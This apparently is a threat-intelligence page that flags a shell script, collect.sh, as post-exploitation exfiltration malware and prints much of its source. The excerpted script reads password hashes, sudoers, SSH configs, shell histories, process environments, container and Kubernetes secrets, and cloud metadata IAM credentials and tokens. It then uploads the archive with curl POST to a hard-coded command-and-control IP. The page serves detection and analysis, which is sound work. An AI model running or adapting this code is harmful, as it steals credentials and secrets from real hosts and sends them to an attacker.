collect.sh
Post-exploitation data exfiltration script
Pod recon posted to an external IPcurl POST exfiltrates data to external endpoint
SHA-256484e92ae0ceaa888459d2ad5260274923c58d8e8db5a5ff244cf7f9f90f3a1da
Also flagged by https://falhumaid.github.io/DFIR_Radar_RSS/rss.xml (PHP2Shell Exploited by AI Agents from Day One: Inside a Credential-Harvesting Campaign) +1 more.
Evidence
1#!/bin/sh
2# collect.sh — standardized, read-only post-exploitation inventory.
3#
4# sh collect.sh [-i <c2-id>] [-o /tmp] [-n name]
5#
6# Produces one tarball with a fixed layout and machine-readable meta.tsv +
7# manifest.tsv, then POSTs it to http://206.245.153.56:8088/<c2-id>/<name>.tgz.
8# No packages, no binaries, no network writes except the final upload (and
9# read-only cloud metadata probes). POSIX sh; needs curl/tar/gzip for upload.
10set +e
11
12C2ID=""
13OUTBASE="/tmp"
14NAME=""
15while [ $# -gt 0 ]; do
⋯7 lines
23done
24
25C2UP="${C2UP:-http://206.245.153.56:8088}"
26HOST=$(hostname 2>/dev/null || echo host)
27TS=$(date -u +%Y%m%dT%H%M%SZ)
28[ -n "$NAME" ] || NAME="collect-${HOST}-${TS}"
29OUT="${OUTBASE}/${NAME}"
30mkdir -p "$OUT" || exit 1
31export OUT
32
33say() { printf '%s\n' "$*"; }
34have() { command -v "$1" >/dev/null 2>&1; }
35tmo() { if have timeout; then timeout "$1" sh -c "$2"; else sh -c "$2"; fi; }
36run() { n=$1; shift; tmo 30 "$*" > "$OUT/$n.txt" 2>&1; }
37runsh() { n=$1; shift; tmo 40 "$1" > "$OUT/$n.txt" 2>&1; }
38kv() { printf '%s\t%s\n' "$1" "$(printf '%s' "$2" | tr '\n\t' ' ')"; }
39
40cat > "$OUT/README.txt" <<EOF
41host=$HOST
42date=$TS
43user=$(id 2>/dev/null)
44cwd=$(pwd)
45read-only inventory; no service restarted.
46meta.tsv key/value, stable keys, one per line
47files.tsv size<TAB>mtime<TAB>pa …
135:13… d"; cat /proc/loadavg 2>/dev/null
136echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo
137echo "== pstree"; pstree -ap 2>/dev/null | head -80
138'
139# ---------------------------------------------------------------- users
140runsh 06-users '
141echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
142echo "== group"; cat /etc/group 2>/dev/null
143echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
144echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
145echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers.d 2>/dev/null; cat /etc/sudoers.d/* 2>/dev/null
146echo "== sudo -l"; sudo -n -l 2>/dev/null
147echo "== home"; ls -la /root /home 2>/dev/null; for h in /root /home/*; do [ -d "$h" ] && ls -la "$h" 2>/dev/null; done
148echo "== who"; who 2>/dev/null; last -n 20 2>/dev/null; w 2>/dev/null
149echo "== caps"; grep -E "^(Uid|Gid|Groups|Cap|NoNewPrivs|Seccomp)" /proc/self/status 2>/dev/null
150echo "== ssh"; ls -la /root/.ssh /home/*/.ssh 2>/dev/null; cat /root/.ssh/config /home/*/.ssh/config 2>/dev/null
151echo "== bash histories"; for f in /root/.bash_history /home/*/.bash_history /root/.zsh_history /home/*/.zsh_history; do [ -r "$f" ] && { echo "== $f"; tail -n 100 "$f"; }; done
152'
153
154# ---------------------------------------------------------------- environment
155runsh 07-environment '
156echo "== env"; env | sort
157echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
158for p in /proc/[0-9]*; do
159 e="$p/environ"; [ -r "$e" ] || continue
160 echo "== $p $(tr "\0" " " < "$p/cmdlin …
188:150… %s=" "$f"; cat "$f" 2>/dev/null; done
189echo "== sockets"; ls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock /run/crio/crio.sock 2>/dev/null
190echo "== secrets"; ls -la /run/secrets /var/run/secrets 2>/dev/null; for f in /run/secrets/* /var/run/secrets/*; do [ -f "$f" ] && { echo "== $f"; head -c 2000 "$f"; echo; }; done
191echo "== k8s"; env | grep -i kube; ls -la /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null; for f in /var/run/secrets/kubernetes.io/serviceaccount/*; do [ -f "$f" ] && { echo "== $f"; hea …
201:120… curity-groups iam/info; do
202 echo "-- $p"; c "$IMDS/latest/meta-data/$p" | head -20; echo
203done
204role=$(c "$IMDS/latest/meta-data/iam/security-credentials/" | head -1)
205[ -n "$role" ] && { echo "== role $role"; c "$IMDS/latest/meta-data/iam/security-credentials/$role"; echo; }
206echo "== AWS v2"; tok=$(curl -sS --max-time 2 -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "$IMDS/latest/api/token" 2>/dev/null)
207[ -n "$tok" ] && { c -H "X-aws-ec2-metadata-token: $tok" "$IMDS/latest/meta-data/instance-id"; echo; }
208echo "== OpenStack"; c "$IMDS/openstack/latest/meta_data.json" | head -40; echo; c "$IMDS/openstack/latest/user_data" | head -20
209echo "== GCP"; c -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/" | head -30
210c -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" | head -10
211c -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/project/project-id" | head -5
212echo "== Azure"; c -H "Metadata: true" "$IMDS/metadata/instance?api-version=2021-02-01" | head -30
213echo "== DigitalOcean"; c "$IMDS/metadata/v1/" | head -30
214echo "== OCI"; c "$IMDS/opc/v1/instance/" | head -30
215echo "== Alibaba"; c "http://100.100.100.200/latest/meta-data/" | head -30
216echo "== cloud-init"; ls -la /var/lib/cloud/instance 2>/dev/null; head -c 3000 /var/lib/cloud/instance/user-data.txt 2>/dev/null
217'
218
219# ------------- …
526:10… wc -c < "$TGZ" 2>/dev/null | tr -d ' ')
527 if [ "${size:-0}" -gt 60000000 ] && have split; then
528 split -b 32000000 "$TGZ" "${TGZ}.part-" 2>/dev/null
529 for p in "${TGZ}.part-"*; do
530 code=$(curl -sS --max-time 180 -o /dev/null -w '%{http_code}' -X POST --data-binary "@$p" "$C2UP/$C2ID/$(basename "$p")" 2>/dev/null)
531 say "UPLOAD_PART=$(basename "$p") $code"
532 done
533 else
534 code=$(curl -sS --max-time 180 -o /dev/null -w '%{http_code}' -X POST --data-binary "@$TGZ" "$C2UP/$C2ID/${NAME}.tgz" 2>/dev/null)
535 say "UPLOAD=$code $C2UP/$C2ID/${NAME}.tgz"
536 fi
537fi